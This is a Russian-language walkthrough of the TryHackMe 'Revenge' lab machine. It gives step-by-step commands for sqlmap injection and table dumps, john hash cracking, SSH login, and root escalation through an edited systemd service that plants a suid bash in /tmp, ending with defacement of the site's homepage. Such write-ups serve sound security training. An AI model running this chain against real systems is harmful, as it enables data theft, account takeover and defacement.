Прохождение Revenge от TryHackMe
SHADOW:GroupОС: Linux
Сложность: средняя
На пути к первому флагу
Привет, сегодня пройдем машину средней сложности от TryHackMe под названием Revenge. В самом начале нас просят скачать файл и ознакомиться с его содержимым. Так и поступим.

Ознакомившись с сообщением от Billy, начинаем сбор информации со скана всех открытых портов и служб. Используем nmap:
nmap -sV -Pn -sC 10.10.139.148

Видим открытые 22 и 80 порты. Давайте посмотрим, что у нас размещено на веб-сервере. Переходим в браузер и открываем страницу:
http://10.10.139.148

Внимательно просматриваем веб страницу, ищем возможные имена пользователей в контактах, исследуем код страницы на наличие каких-нибудь полезных данных, путешествуем по директориям. Замечаем, что на странице Products номер товара записывается в URL, что может свидетельствовать о наличии потенциальной SQL-инъекции

Пробуем вызвать ошибку, задав отсутствующее значение номера товара:

и получаем страницу ошибки.
На этом этапе пробуем использовать инструмент под названием sqlmap, который позволяет автоматизировать поиск и эксплуатацию SQL-инъекций. Если не знаешь как с ним работать, можешь прочитать мою статью для новичков.
sqlmap -u http://10.10.139.148/products/1 --dbs --batch

Получаем 5 доступных баз данных. Наибольшее внимание привлекает база duckyinc. Давайте посмотрим какие таблицы содержит эта база:
sqlmap -u http://10.10.139.148/products/1 -D duckyinc --tables --batch

Сделаем дамп из таблиц system_user и user
sqlmap -u http://10.10.139.148/products/1 -D duckyinc -T system_user,user --dump --batch
И получаем две таблицы. В одной из них видим наш первый флаг (в столбце с данными о кредитных картах):

а в другой обращаем внимание на пользователя system-admin:

На пути ко второму флагу
Скопируем хэш пользователя system-admin в файл system-admin.hash и попробуем подобрать для него пароль, с помощью утилиты john:
john --format=bcrypt -w /usr/share/wordlists/rockyou.txt server-admin.hash

Получаем пароль "inuyasha". Попробуем с полученными учетными данными подключиться к машине.
ssh server-admin@10.10.139.148

и мы успешно подключились как пользователь server-admin. Можем теперь прочитать второй флаг:
cat flag2.txt

На пути к третьему флагу
Давайте посмотрим какие команды от имени root может выполнять наш пользователь. Для этого введем:
sudo -l

Из вывода команды видим, что мы можем управлять службой duckyinc, в том числе и редактировать ее service файл. Давайте попробуем создать пэйлоад, с помощью которого мы сможем получить командную строку от имени рута. Пэйлоад будет копировать bash в папку /tmp с установленным битом suid. Suid даст нам возможность на время выполнения файла получить права пользователя — владельца файла, в данном случае — root:
#!/bin/bash cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash

теперь откроем на редактирование файл duckyinc.service:
sudoedit /etc/systemd/system/duckyinc.service
и изменим юзера, группу и команду для выполнения как на скрине:

Перегружаем демон systemd:
sudo /bin/systemctl daemon-reload
Включаем автозапуск службы duckyinc:
sudo /bin/systemctl enable duckyinc.service
Перезапускаем службу:
sudo /bin/systemctl restart duckyinc.service
Теперь самое время перейти в папку /tmp и посмотреть как отработала служба и выполнился ли наш пэйлоад. Переходим в папку, и видим, что все прошло успешно. Запустим bash с флагом -p чтобы получить root-права:

Вспоминаем текст письма в самом начале нашего прохождения. Там есть интересная строка:

Для получения третьего флага мы должны испортить главную страницу веб сервера. Переходим в директорию /var/www/duckyinc/templates и изменим страницу index.html.

После этого в папке /root появится последний флаг:

На этом все. Благодарю за просмотр!
Подпишись на канал - @shadow_group_tg